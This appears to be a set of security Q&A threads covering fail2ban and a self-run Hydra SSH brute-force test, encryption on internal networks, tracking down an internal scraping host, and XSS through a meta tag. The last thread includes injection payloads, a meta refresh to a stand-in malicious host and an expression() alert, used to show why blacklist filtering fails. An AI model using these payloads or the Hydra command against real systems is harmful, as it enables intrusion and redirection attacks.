I removed fail2ban with --purge and reinatalled it, so there should be the
defaults in /etc/fail2ban/jail.conf now. This is how it looks at my server:

[DEFAULT]

# "ignoreip" can be an IP address, a CIDR mask or a DNS host
ignoreip = 127.0.0.1
bantime  = 600
maxretry = 3

...
[ssh]

enabled = true
port    = ssh
filter  = sshd
logpath  = /var/log/auth.log
maxretry = 6

So as i understand, for ssh there should be maxretry 6 now. Why could i try 12 times without being blocked?

I also tried a brute-force attack with THC-Hydra:

hydra -l john -P /tmp/pass.txt myserver.de ssh

and there I saw in /var/log/auth.log that hydra tried 20 to 30 attempts in a row without being blocked.
see my log here: http://pastebin.com/PuMdfU2H

some more information:

i uninstalled fail2ban and then I got some messages in /var/log/auth.log during my hydra attack like

sshd[9286]: Failed password for john from 123.456.123.456 port 54705 ssh2
sshd[9286]: Failed password for john from 123.456.123.456 port 54698 ssh2
...
sshd[9280]: PAM service(sshd) ignoring max retries; 5 > 3
...
sshd[9286]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser=
...
sshd[9285]: PAM service(sshd) ignoring max retries; 6 > 3

maybe ssh is redirected on another port each time?

I didn't get blocked this time, so fail2ban is kind of working, if installed.

I think you are seeing a combination of two things:

Latency between the time sshd sends the string to the log, the time syslog writes it to the disk, the time fail2ban picks it up, parses it, and and injects an iptables rule into the running set, and the time the kernel starts paying attention to the new filtering rules. This is why you see "Already banned" entries in fail2ban.log.
PAM, login.defs and sshd all trying to block successive retries. If you notice, it says sshd[9280]: PAM service(sshd) ignoring max retries; 5 > 3, which PAM telling you that there is "retry=3" in one of its modules (probably /etc/pam.d/password-auth) and it will ignore any further authentication requests from sshd within the same session. Sshd will continue trying until it exhausts MaxAuthTries setting (default is 6, I think), at which point it will terminate the connection. This probably creates different log entries that fail2ban doesn't parse as failed login attempts. Just a guess on this one.

HTH.


Do I need to encrypt connections inside a corporate network? Provided that I have a decent level of physical security in the office, I monitor the physical addresses of devices connected to the network and only give VPN access to trusted parties, do I need to encrypt access to intranet resources over HTTP?

There is an employee complaining that he doesn't like sending his credentials in plain text over the network and that he cannot take responsibility for his network identity in such case. What are the real world chances that someone would steal his identity? I can't find any clear-cut recommendations for encryption within a corporate network.

Yes encrypt, it is easy. Plus according to a 2014 Software Engineering Institute study 1 in 4 hacks was from someone inside the company with an average damage 50% higher than an external threat actor.

Link to source: https://insights.sei.cmu.edu/insider-threat/2017/01/2016-us-state-of-cybercrime-highlights.html Although this is the 2017 version.


Detect a Host on my Network that is Conducting Web Scraping on External Systems It recently came to my attention (through an outside company) that a host on my internal LAN may be conducting web scraping activity against that outside company's web servers. Due to this activity, the outside company has blocked our ability to access any web server they host.

Anyone have any recommendations for any tools or methods to track down any endpoints on my own internal network that are conducting web scraping against external web sites? We recently purchased a SIEM solution, however it's not yet online, so my only other option is to manually review netflows for excessive http(s) against this company's hosts. Needless to say I'd much rather find a more expeditious option.

I have ~1200 endpoints on my internal LAN.

If you're not above getting your hands dirty with a bit of scripting, you could make a simple Python script using the Scapy library. This script would watch for HTTP traffic to the external company's site and log the IP.

Upon review of the capture file, the most recurring IP address should be the culprit of the scraping.

If this external company's site is accessed frequently by users on your LAN, then you may want to watch for requests that result in a 404 error response from the outside company's site, as this would be a sign of the scraping tool attempting to access URIs that don't exist during the scraping process.


XSS in HTML meta tag There is a web application which contains a search function. When I search for aaaaaaaaxss I get this:

<meta property="the:property" content="100 Results for aaaaaaaaxss (Page 1)" />

It strips the < and > characters but not double quotes. However, since I cannot get rid of the other input, I cannot use 1;javascript:alert(1) or something similar.

Is this filter secure?

I definitely agree with thexacre about the ineffectiveness of blacklisting -- and not just because the answer referenced my website :).

Not being able to get rid of the beginning content portion can certainly limit the opportunity for successful XSS via a meta tag, though it's not entirely impossible. For example, if the beginning portion ever changes to begin with a non-numeric word such as "No results for..." you might be able to inject something like:

;url=hxxp://www.maliciousxss.com" HTTP-EQUIV="refresh" blah=" which, based on your description should result in a meta tag similar to:

<meta property="the:property" content="No results for;url=hxxp://www.maliciousxss.com" HTTP-EQUIV="refresh" blah=" (Page 1)" />

I successfully tested it in FF 29.0.1 but I don't believe this would work in any other modern browser.

If the beginning text always starts with a number you could try something like

" STYLE="width:expression(alert('XSS'));" blah="which again based on your example should result in a meta tag similar to:

<meta property="the:property" content="100 results for" STYLE="width:expression(alert('XSS'));" blah=" (Page 1)" />

This one would only work in IE 7 or earlier so it's even more limited.

I had to make some assumptions of site behavior and additional input validation so these particular examples may not work, but I hope I've helped support thexacre's statement that blacklisting is rarely a completely effective approach. Whitelisting (when possible) is better but output encoding is always a must whenever user-generated data is incorporated in the server response.